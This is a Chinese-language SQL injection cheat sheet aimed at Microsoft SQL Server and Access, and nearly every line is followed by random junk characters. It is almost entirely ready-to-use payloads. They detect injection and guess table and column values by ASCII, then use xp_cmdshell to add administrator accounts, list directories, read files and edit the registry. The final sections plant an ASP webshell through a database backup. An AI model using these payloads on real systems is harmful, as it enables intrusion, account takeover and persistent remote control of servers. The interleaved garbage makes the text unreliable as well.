1.判断是否有注入;and 1=1 ;and 1=2 !{On_>`,
2.初步判断是否是mssql ;and user>0 h$\+r<
kFCjko
3.注入参数是字符'and [查询条件] and ''=' H{&o_
?[Gj?D.Wc
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ruqx#]-
Um4$. BKD
5.判断数据库系统
-w7g}
+[W_Jz
;and (select count(*) from sysobjects)>0 mssql f+A!w8E
c:;m BS>~
;and (select count(*) from msysobjects)>0 access vpTYfE
4(2iR0N
'dT JE--@
ur*a!U
6.猜数据库 ;and (select Count(*) from [数据库名])>0 |n9q4*dN
i;+]Y
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 PWErlA:58
_4!SO5T
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 {/Mz/|%
}vzZWe
9.(1)猜字段的ascii值(access) z'iAj
$inpiO|s
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 D)0pm?*5A
%M?A>7b
(2)猜字段的ascii值(mssql) 8|9JJ<G7
M{sn{
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Ojea~Y]Sr
|[%CFm}+?
10.测试权限结构(mssql) e G8Zn<:s
Ndb_|
3WH"NC-O<
/Q |guJx
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- G5;N#^myJ
!%v=9muay
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <W$Ig@4[.d
[X9s\H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- #HgXTC
x{=@~c%eh
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- hu=b,
nMz~.^Q-
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- B Q)1)8r
|dP[_nh?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -;VKtBXP</
[ij8h,[~]
;and 1=(select IS_MEMBER('db_owner'));-- _dg2i|yP<
D7'P^*4_B
*ud"?{)Z
(C1@f!Z
11.添加mssql和系统的帐户 >pS@;t'
+y}4^3Vx^
;exec master.dbo.sp_addlogin username;-- `#v(MK{9+V
;exec master.dbo.sp_password null,username,password;-- C`)n\?:Sth
!21#NCw
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c=
f_
sg=mkkD!g
;exec master.dbo.xp_cmdshell 'net user username password =%wwepz6
fF~3"!1#\I
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;'\#+GZ9p
;t^8lC?>V
;exec master.dbo.xp_cmdshell 'net user username password /add';-- oM ')NIW@
xKol
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Ng;K-WB\
yP&SA+
GQU9UXe
/.?m9O^
F
12.(1)遍历目录 ;p$KM-?2D
k@,&'imx
;create table dirs(paths varchar(100), id int) hqPpRSv'
#5Zf6w
;insert dirs exec master.dbo.xp_dirtree 'c:\' Jl,mYFEZ
WJB/X"J
;and (select top 1 paths from dirs)>0 YLEk
M
#7wOr78
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #fF~6wopV
ig] hY/uT
k1EAmA
l
5)}3C_pmW
(2)遍历目录 {nl]F
c5 jd
q[0
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- d|nJp-%V
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ?O]iX;2vM
_t9@
vVQ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Sk'S`vH
)v4?+$g
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 gEejLyOag
=z=$S]qN
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Hl@)j
f/_RtOSw
Z(' iZ'55F
]i}3`e?
13.mssql中的存储过程 3jH8pO^
E0g`
xf6c
xp_regenumvalues 注册表根键, 子键 AbWnDqv
jK#[r[q{
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 P^1+;dL,D
x{$~u2|
xp_regread 根键,子键,键值名 ,+iREh;
L `fDc
;exec xp_regread m'
LRP:9v
@kq~q;F
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 o0f{ePZ=
G^Z
SQ!
xp_regwrite 根键,子键, 值名, 值类型, 值 ZTq"SQ>ym
3Pb]Of#
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 E"E Bj7<s
3C=|
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 L_3undy,
xz@/^Cj
xp_regdeletevalue 根键,子键,值名 p6qza @
h{&X`$
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 "`sr#
G=[=[o\
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 T8ga)BA
ql|ksios
GsYi/Z
!,f#oCL
14.mssql的backup创建webshell rUb`_ W@
NAy3Zd}
use model {}vB#!
r9x.c7=O
create table cmd(str image); w(sD}YA)
L5E|1T
insert into cmd(str) values (''); 1T{A(<:o$
U1+X!&OCp
backup database model to disk='c:\l.asp'; ~S\Ee 2e>
*?k~n9n5U
qqm7p
,j
mOLP77(o
15.mssql内置函数 Cst:5m0!
YKjm_)8]w
;and (select @@version)>0 获得Windows的版本号 R'#[}s
;8Z\bHQ>
;and user_name()='dbo' 判断当前系统的连接用户是不是sa N8<Wm>GLX~
)PM&x
;and (select user_name())>0 爆当前系统的连接用户 qRD]Q
Z3ucJH/)V
;and (select db_name())>0 得到当前连接的数据库 5LT{]&`9
wKjL}1.k
{=(GY@yU/
rtl|zCst
16.简洁的webshell PMDx5-{A/t
jIZpv|t)
use model 07zbx6:t
X[ERlw1q4Q
create table cmd(str image); ~*Fbs! ;,
CS:"F) at
insert into cmd(str) values (''); ebbC`eFD
c,$ >u,4
backup database model to disk='g:\wwwtest\l.asp';